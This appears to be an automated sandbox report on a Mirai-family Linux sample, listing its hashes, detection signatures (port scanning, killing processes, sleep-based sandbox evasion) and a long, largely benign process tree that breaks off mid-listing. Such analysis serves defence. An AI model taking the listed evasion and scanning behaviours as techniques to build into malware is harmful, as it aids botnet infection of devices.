Edit tour

Linux Analysis Report
ettmalware2

Overview

General Information

Sample Name:	ettmalware2
Analysis ID:	585783
MD5:	b847ca92e183dde966bda99cf575f14a
SHA1:	e833bfd14482689354811fed94875c52d9be17e4
SHA256:	b4d6c36e809e608ea057607a13d5252a7b5cb8aa34db1035dd5505f048c12cbf
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Sample tries to kill multiple processes (SIGKILL)

Yara signature match

Executes the "mkdir" command used to create folders

Executes the "sleep" command used to delay execution and potentially evade sandboxes

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample tries to kill a process (SIGKILL)

Sample has stripped symbol table

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	585783
Start date:	09.03.2022
Start time:	14:35:48
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ettmalware2
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 16.04 x64 (Kernel 4.4.0-116, Firefox 59.0, Document Viewer 3.18.2, LibreOffice 5.1.6.2, OpenJDK 1.8.0_171)
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.spre.troj.lin@0/248@0/0

Warnings

Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/ettmalware2
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	lzrd cock fest"/proc/"/exe
Standard Error:

Process Tree

system is lnxubuntu1

ettmalware2 (PID: 6806, Parent: 6747, MD5: b847ca92e183dde966bda99cf575f14a) Arguments: /tmp/ettmalware2

ettmalware2 New Fork (PID: 6812, Parent: 6806)

ettmalware2 New Fork (PID: 6813, Parent: 6806)

ettmalware2 New Fork (PID: 6814, Parent: 6806)

ettmalware2 New Fork (PID: 6816, Parent: 6814)

ettmalware2 New Fork (PID: 6817, Parent: 6814)

ettmalware2 New Fork (PID: 6818, Parent: 6814)

ettmalware2 New Fork (PID: 6819, Parent: 6814)

ettmalware2 New Fork (PID: 6820, Parent: 6814)

ettmalware2 New Fork (PID: 6821, Parent: 6814)

systemd New Fork (PID: 6835, Parent: 1)

systemd-networkd (PID: 6835, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 6846, Parent: 1)

sh (PID: 6846, Parent: 1, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* | sort -u); [ -z \"$out\" ] || break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } | /sbin/resolvconf -a networkd"

sh New Fork (PID: 6847, Parent: 6846)

seq (PID: 6847, Parent: 6846, MD5: 329d74c7eda0c291d51557f6a23138da) Arguments: seq 30

sh New Fork (PID: 6858, Parent: 6846)

sh New Fork (PID: 6859, Parent: 6858)

sed (PID: 6859, Parent: 6858, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 6860, Parent: 6858)

sort (PID: 6860, Parent: 6858, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 6871, Parent: 6846)

sleep (PID: 6871, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 6894, Parent: 6846)

sh New Fork (PID: 6895, Parent: 6894)

sed (PID: 6895, Parent: 6894, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 6896, Parent: 6894)

sort (PID: 6896, Parent: 6894, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 6898, Parent: 6846)

sleep (PID: 6898, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 6922, Parent: 6846)

sh New Fork (PID: 6923, Parent: 6922)

sed (PID: 6923, Parent: 6922, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 6924, Parent: 6922)

sort (PID: 6924, Parent: 6922, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 6925, Parent: 6846)

sleep (PID: 6925, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 6950, Parent: 6846)

sh New Fork (PID: 6951, Parent: 6950)

sed (PID: 6951, Parent: 6950, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 6952, Parent: 6950)

sort (PID: 6952, Parent: 6950, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 6953, Parent: 6846)

sleep (PID: 6953, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 6980, Parent: 6846)

sh New Fork (PID: 6981, Parent: 6980)

sed (PID: 6981, Parent: 6980, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 6982, Parent: 6980)

sort (PID: 6982, Parent: 6980, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 6995, Parent: 6846)

sleep (PID: 6995, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7008, Parent: 6846)

sh New Fork (PID: 7009, Parent: 7008)

sed (PID: 7009, Parent: 7008, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7010, Parent: 7008)

sort (PID: 7010, Parent: 7008, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7025, Parent: 6846)

sleep (PID: 7025, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7036, Parent: 6846)

sh New Fork (PID: 7037, Parent: 7036)

sed (PID: 7037, Parent: 7036, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7038, Parent: 7036)

sort (PID: 7038, Parent: 7036, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7045, Parent: 6846)

sleep (PID: 7045, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7066, Parent: 6846)

sh New Fork (PID: 7067, Parent: 7066)

sed (PID: 7067, Parent: 7066, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7068, Parent: 7066)

sort (PID: 7068, Parent: 7066, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7083, Parent: 6846)

sleep (PID: 7083, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7094, Parent: 6846)

sh New Fork (PID: 7095, Parent: 7094)

sed (PID: 7095, Parent: 7094, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7096, Parent: 7094)

sort (PID: 7096, Parent: 7094, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7107, Parent: 6846)

sleep (PID: 7107, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7122, Parent: 6846)

sh New Fork (PID: 7123, Parent: 7122)

sed (PID: 7123, Parent: 7122, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7124, Parent: 7122)

sort (PID: 7124, Parent: 7122, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7137, Parent: 6846)

sleep (PID: 7137, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7150, Parent: 6846)

sh New Fork (PID: 7151, Parent: 7150)

sed (PID: 7151, Parent: 7150, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7152, Parent: 7150)

sort (PID: 7152, Parent: 7150, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7165, Parent: 6846)

sleep (PID: 7165, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7178, Parent: 6846)

sh New Fork (PID: 7179, Parent: 7178)

sed (PID: 7179, Parent: 7178, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7180, Parent: 7178)

sort (PID: 7180, Parent: 7178, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7194, Parent: 6846)

sleep (PID: 7194, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7206, Parent: 6846)

sh New Fork (PID: 7207, Parent: 7206)

sed (PID: 7207, Parent: 7206, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7208, Parent: 7206)

sort (PID: 7208, Parent: 7206, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7223, Parent: 6846)

sleep (PID: 7223, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7234, Parent: 6846)

sh New Fork (PID: 7235, Parent: 7234)

sed (PID: 7235, Parent: 7234, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7236, Parent: 7234)

sort (PID: 7236, Parent: 7234, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7246, Parent: 6846)

sleep (PID: 7246, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7262, Parent: 6846)

sh New Fork (PID: 7263, Parent: 7262)

sed (PID: 7263, Parent: 7262, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7264, Parent: 7262)

sort (PID: 7264, Parent: 7262, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7274, Parent: 6846)

sleep (PID: 7274, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7290, Parent: 6846)

sh New Fork (PID: 7291, Parent: 7290)

sed (PID: 7291, Parent: 7290, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7292, Parent: 7290)

sort (PID: 7292, Parent: 7290, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7305, Parent: 6846)

sleep (PID: 7305, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7318, Parent: 6846)

sh New Fork (PID: 7319, Parent: 7318)

sed (PID: 7319, Parent: 7318, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7320, Parent: 7318)

sort (PID: 7320, Parent: 7318, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7331, Parent: 6846)

sleep (PID: 7331, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7346, Parent: 6846)

sh New Fork (PID: 7347, Parent: 7346)

sed (PID: 7347, Parent: 7346, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7348, Parent: 7346)

sort (PID: 7348, Parent: 7346, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7361, Parent: 6846)

sleep (PID: 7361, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7374, Parent: 6846)

sh New Fork (PID: 7375, Parent: 7374)

sed (PID: 7375, Parent: 7374, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7376, Parent: 7374)

sort (PID: 7376, Parent: 7374, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7387, Parent: 6846)

sleep (PID: 7387, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7402, Parent: 6846)

sh New Fork (PID: 7403, Parent: 7402)

sed (PID: 7403, Parent: 7402, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7404, Parent: 7402)

sort (PID: 7404, Parent: 7402, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7417, Parent: 6846)

sleep (PID: 7417, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7430, Parent: 6846)

sh New Fork (PID: 7431, Parent: 7430)

sed (PID: 7431, Parent: 7430, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7432, Parent: 7430)

sort (PID: 7432, Parent: 7430, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7444, Parent: 6846)

sleep (PID: 7444, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7458, Parent: 6846)

sh New Fork (PID: 7459, Parent: 7458)

sed (PID: 7459, Parent: 7458, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7460, Parent: 7458)

sort (PID: 7460, Parent: 7458, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7475, Parent: 6846)

sleep (PID: 7475, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7486, Parent: 6846)

sh New Fork (PID: 7487, Parent: 7486)

sed (PID: 7487, Parent: 7486, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7488, Parent: 7486)

sort (PID: 7488, Parent: 7486, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7489, Parent: 6846)

sleep (PID: 7489, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7514, Parent: 6846)

sh New Fork (PID: 7515, Parent: 7514)

sed (PID: 7515, Parent: 7514, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7516, Parent: 7514)

sort (PID: 7516, Parent: 7514, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7527, Parent: 6846)

sleep (PID: 7527, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7542, Parent: 6846)

sh New Fork (PID: 7543, Parent: 7542)

sed (PID: 7543, Parent: 7542, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7544, Parent: 7542)

sort (PID: 7544, Parent: 7542, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7546, Parent: 6846)

sleep (PID: 7546, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7570, Parent: 6846)

sh New Fork (PID: 7571, Parent: 7570)

sed (PID: 7571, Parent: 7570, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7572, Parent: 7570)

sort (PID: 7572, Parent: 7570, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7574, Parent: 6846)

sleep (PID: 7574, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7598, Parent: 6846)

sh New Fork (PID: 7599, Parent: 7598)

sed (PID: 7599, Parent: 7598, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7600, Parent: 7598)

sort (PID: 7600, Parent: 7598, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7611, Parent: 6846)

sleep (PID: 7611, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7626, Parent: 6846)

sh New Fork (PID: 7627, Parent: 7626)

sed (PID: 7627, Parent: 7626, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7628, Parent: 7626)

sort (PID: 7628, Parent: 7626, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7644, Parent: 6846)

sleep (PID: 7644, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7654, Parent: 6846)

sh New Fork (PID: 7655, Parent: 7654)

sed (PID: 7655, Parent: 7654, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7656, Parent: 7654)

sort (PID: 7656, Parent: 7654, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7670, Parent: 6846)

sleep (PID: 7670, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7682, Parent: 6846)

sh New Fork (PID: 7683, Parent: 7682)

sed (PID: 7683, Parent: 7682, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7684, Parent: 7682)

sort (PID: 7684, Parent: 7682, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7694, Parent: 6846)

sleep (PID: 7694, Parent: 6846, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7710, Parent: 6846)

sed (PID: 7710, Parent: 6846, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DOMAINS=/ { s/^.*=/search /; p}" /run/systemd/netif/state

sh New Fork (PID: 7711, Parent: 6846)

resolvconf (PID: 7711, Parent: 6846, MD5: 4e4ff2bfda7a6d18405a462937b63a2e) Arguments: /bin/sh /sbin/resolvconf -a networkd

resolvconf New Fork (PID: 7717, Parent: 7711)

mkdir (PID: 7717, Parent: 7711, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /run/resolvconf/interface

resolvconf New Fork (PID: 7726, Parent: 7711)

resolvconf New Fork (PID: 7727, Parent: 7726)

sed (PID: 7727, Parent: 7726, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/#.*$// -e s/[[:blank:]]\\+$// -e s/^[[:blank:]]\\+// -e "s/[[:blank:]]\\+/ /g" -e "/^nameserver/!b ENDOFCYCLE" -e "s/$/ /" -e "s/\$[:. ]\$0\\+/\\10/g" -e "s/\$[:. ]\$0\$[123456789abcdefABCDEF][[:xdigit:]]*\$/\\1\\2/g" -e "/::/b ENDOFCYCLE; s/ \$0[: ]\$\\+/ ::/" -e "/::/b ENDOFCYCLE; s/:\$0[: ]\$\\+/::/" -e ": ENDOFCYCLE" -

resolvconf New Fork (PID: 7728, Parent: 7726)

sed (PID: 7728, Parent: 7726, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/[[:blank:]]\\+$// -e /^$/d

systemd New Fork (PID: 7758, Parent: 1)

systemd-networkd (PID: 7758, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 7769, Parent: 1)

sh (PID: 7769, Parent: 1, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* | sort -u); [ -z \"$out\" ] || break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } | /sbin/resolvconf -a networkd"

sh New Fork (PID: 7771, Parent: 7769)

seq (PID: 7771, Parent: 7769, MD5: 329d74c7eda0c291d51557f6a23138da) Arguments: seq 30

sh New Fork (PID: 7773, Parent: 7769)

sh New Fork (PID: 7774, Parent: 7773)

sed (PID: 7774, Parent: 7773, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7775, Parent: 7773)

sort (PID: 7775, Parent: 7773, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7801, Parent: 7769)

sleep (PID: 7801, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7829, Parent: 7769)

sh New Fork (PID: 7830, Parent: 7829)

sed (PID: 7830, Parent: 7829, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7831, Parent: 7829)

sort (PID: 7831, Parent: 7829, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7845, Parent: 7769)

sleep (PID: 7845, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7857, Parent: 7769)

sh New Fork (PID: 7858, Parent: 7857)

sed (PID: 7858, Parent: 7857, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7859, Parent: 7857)

sort (PID: 7859, Parent: 7857, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7872, Parent: 7769)

sleep (PID: 7872, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7885, Parent: 7769)

sh New Fork (PID: 7886, Parent: 7885)

sed (PID: 7886, Parent: 7885, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7887, Parent: 7885)

sort (PID: 7887, Parent: 7885, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7893, Parent: 7769)

sleep (PID: 7893, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7913, Parent: 7769)

sh New Fork (PID: 7914, Parent: 7913)

sed (PID: 7914, Parent: 7913, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7915, Parent: 7913)

sort (PID: 7915, Parent: 7913, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7925, Parent: 7769)

sleep (PID: 7925, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7941, Parent: 7769)

sh New Fork (PID: 7942, Parent: 7941)

sed (PID: 7942, Parent: 7941, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7943, Parent: 7941)

sort (PID: 7943, Parent: 7941, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7956, Parent: 7769)

sleep (PID: 7956, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7969, Parent: 7769)

sh New Fork (PID: 7970, Parent: 7969)

sed (PID: 7970, Parent: 7969, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7971, Parent: 7969)

sort (PID: 7971, Parent: 7969, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 7981, Parent: 7769)

sleep (PID: 7981, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 7997, Parent: 7769)

sh New Fork (PID: 7998, Parent: 7997)

sed (PID: 7998, Parent: 7997, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 7999, Parent: 7997)

sort (PID: 7999, Parent: 7997, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8011, Parent: 7769)

sleep (PID: 8011, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8025, Parent: 7769)

sh New Fork (PID: 8026, Parent: 8025)

sed (PID: 8026, Parent: 8025, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8027, Parent: 8025)
